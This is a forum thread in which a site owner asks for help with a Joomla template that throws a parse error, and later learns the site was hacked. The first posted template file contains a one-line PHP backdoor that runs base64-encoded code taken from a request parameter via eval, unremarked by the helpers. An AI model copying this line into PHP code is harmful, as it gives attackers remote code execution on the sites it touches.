473,405 Members | 2,185 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,405 software developers and data experts.

Joomla - Home Page Disappeared: Parse error: syntax error, unexpected $end...

Hi,

Can anyone help me please? My Homepage just disappeared and the message seen when I click my normal Homepage address is:

Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11

This is the HTML from my JOOMLA Template HTML Editor:

Expand|Select|Wrap|Line Numbers
  1. <?php 
  2. defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['c_id'])));
  3. defined('_JEXEC') or die;
  4.  
  5. /**
  6.  * Template for Joomla! CMS, created with Artisteer.
  7.  * See readme.txt for more details on how to use the template.
  8.  */
  9.  
  10. // Check that the template is compatible with Joomla version:
  11. $version
Thanks - hope someone can advise. Best wishes. Roger.
Dec 31 '12 #1
6 8703
acoder
16,027 Expert Mod 8TB
If that's all there is in your file, that explains it.

It's obvious that the file has not been fully updated/uploaded. Overwrite the file(s) with the complete versions.
Dec 31 '12 #2
Thank you acoder - here is what I think is the full version from the index.php file in my cpanel, can anybody help please with this error, thanks:

Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11


Expand|Select|Wrap|Line Numbers
  1. <?php
  2. /**
  3. * @version        $Id: index.php 14401 2010-01-26 14:10:00Z louis $
  4. * @package        Joomla
  5. * @copyright    Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
  6. * @license        GNU/GPL, see LICENSE.php
  7. * Joomla! is free software. This version may have been modified pursuant
  8. * to the GNU General Public License, and as distributed it includes or
  9. * is derivative of works licensed under the GNU General Public License or
  10. * other free or open source software licenses.
  11. * See COPYRIGHT.php for copyright notices and details.
  12. */
  13.  
  14. // Set flag that this is a parent file
  15. define( '_JEXEC', 1 );
  16.  
  17. define('JPATH_BASE', dirname(__FILE__) );
  18.  
  19. define( 'DS', DIRECTORY_SEPARATOR );
  20.  
  21. require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
  22. require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
  23.  
  24. JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
  25.  
  26. /**
  27.  * CREATE THE APPLICATION
  28.  *
  29.  * NOTE :
  30.  */
  31. $mainframe =& JFactory::getApplication('site');
  32.  
  33. /**
  34.  * INITIALISE THE APPLICATION
  35.  *
  36.  * NOTE :
  37.  */
  38. // set the language
  39. $mainframe->initialise();
  40.  
  41. JPluginHelper::importPlugin('system');
  42.  
  43. // trigger the onAfterInitialise events
  44. JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
  45. $mainframe->triggerEvent('onAfterInitialise');
  46.  
  47. /**
  48.  * ROUTE THE APPLICATION
  49.  *
  50.  * NOTE :
  51.  */
  52. $mainframe->route();
  53.  
  54. // authorization
  55. $Itemid = JRequest::getInt( 'Itemid');
  56. $mainframe->authorize($Itemid);
  57.  
  58. // trigger the onAfterRoute events
  59. JDEBUG ? $_PROFILER->mark('afterRoute') : null;
  60. $mainframe->triggerEvent('onAfterRoute');
  61.  
  62. /**
  63.  * DISPATCH THE APPLICATION
  64.  *
  65.  * NOTE :
  66.  */
  67. $option = JRequest::getCmd('option');
  68. $mainframe->dispatch($option);
  69.  
  70. // trigger the onAfterDispatch events
  71. JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
  72. $mainframe->triggerEvent('onAfterDispatch');
  73.  
  74. /**
  75.  * RENDER  THE APPLICATION
  76.  *
  77.  * NOTE :
  78.  */
  79. $mainframe->render();
  80.  
  81. // trigger the onAfterRender events
  82. JDEBUG ? $_PROFILER->mark('afterRender') : null;
  83. $mainframe->triggerEvent('onAfterRender');
  84.  
  85. /**
  86.  * RETURN THE RESPONSE
  87.  */
  88. echo JResponse::toString($mainframe->getCfg('gzip'));
Jan 1 '13 #3
acoder
16,027 Expert Mod 8TB
Are you sure? It seems they're 2 different files.

Find the complete version of the code that you posted in your OP and make sure the file in your Template Editor contains the full version.
Jan 2 '13 #4
Hi - thanks for responding,

Just checked and the original code in the Template Editor is exactly as in my OP above...can't locate the full version anywhere else...can you suggest where it could be or what I could try next?

Thanks, Roger
Jan 2 '13 #5
acoder
16,027 Expert Mod 8TB
The comments in the code make reference to Artisteer, so perhaps the following link will help:
http://www.artisteer.com/?p=help_joomla
Jan 2 '13 #6
Thanks acoder, have spent last day or so getting the problem checked out by Joomla expert and the site was hacked into and the template wiped. Template being rebuilt at a small cost from a cached page so hopefully all will be ok. Advice to all readers to avoid same problem back up your site so if you get hacked it can be restored to last backed up version, something I didn't do...thanks!
Jan 3 '13 #7

Sign in to post your reply or Sign up for a free account.

Similar topics

8
by: Wescotte | last post by:
The error message Parse error: syntax error, unexpected $end in FILE on line X is one I run into frequently and I know the cause is I missed an ending quote. Is there an easy way to determine...
1
by: basswhizz | last post by:
Hi guys im having trouble with somethings else now can you help out thanks!! Im getting this error message Parse error: syntax error, unexpected $end Here's my code cheers!!] <?php //...
10
by: benicio | last post by:
Parse error: syntax error, unexpected T_STRING, expecting '(' in C:\wamp\www\study_group\includes\functions.php on line 19 I got this error and this syntax is from 8 to 19th line. <?php ...
3
by: broll911 | last post by:
I am gettin a error message on this script can someone help me. I am a complete newbie on this stuff. Thanks in advance for any help you can give me. here is the error. Parse error: syntax error,...
3
by: brkseven | last post by:
Looking for help with this Contact Form. The error is on line 1, but that' doesn't mean a lot, I think. In fact, a php syntax check passed it, but I was hoping for an easy syntax error, it looks...
13
Topbidder
by: Topbidder | last post by:
I have this error on the code Parse error: syntax error, unexpected '"' in /home/topbidd/public_html/bid2/bid_classic.php on line 159 now i thought the error was this It seems that the...
3
by: CYNTHIA CUTRER | last post by:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> ...
4
by: 9139530 | last post by:
Hey, I'm getting the error: Parse error: syntax error, unexpected T_VARIABLE in Z:\home\baza\www\get2.php on line 7 with this code (have 2 pages , html-from page (reguser.php) and...
2
by: Vicki Hendra | last post by:
Hi I am new to php fullstop I and colleagues have setup wordpress blogs for our local towns, giving the local businesses free advertisment. Part of the problem started when using wordpress...
5
by: Adam Pelling | last post by:
I'm getting this error Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ')' in /home/neblncbt/public_html/forum/includes/acp/acp_board.php on line 69 Here is the...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
0
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...
0
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing,...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.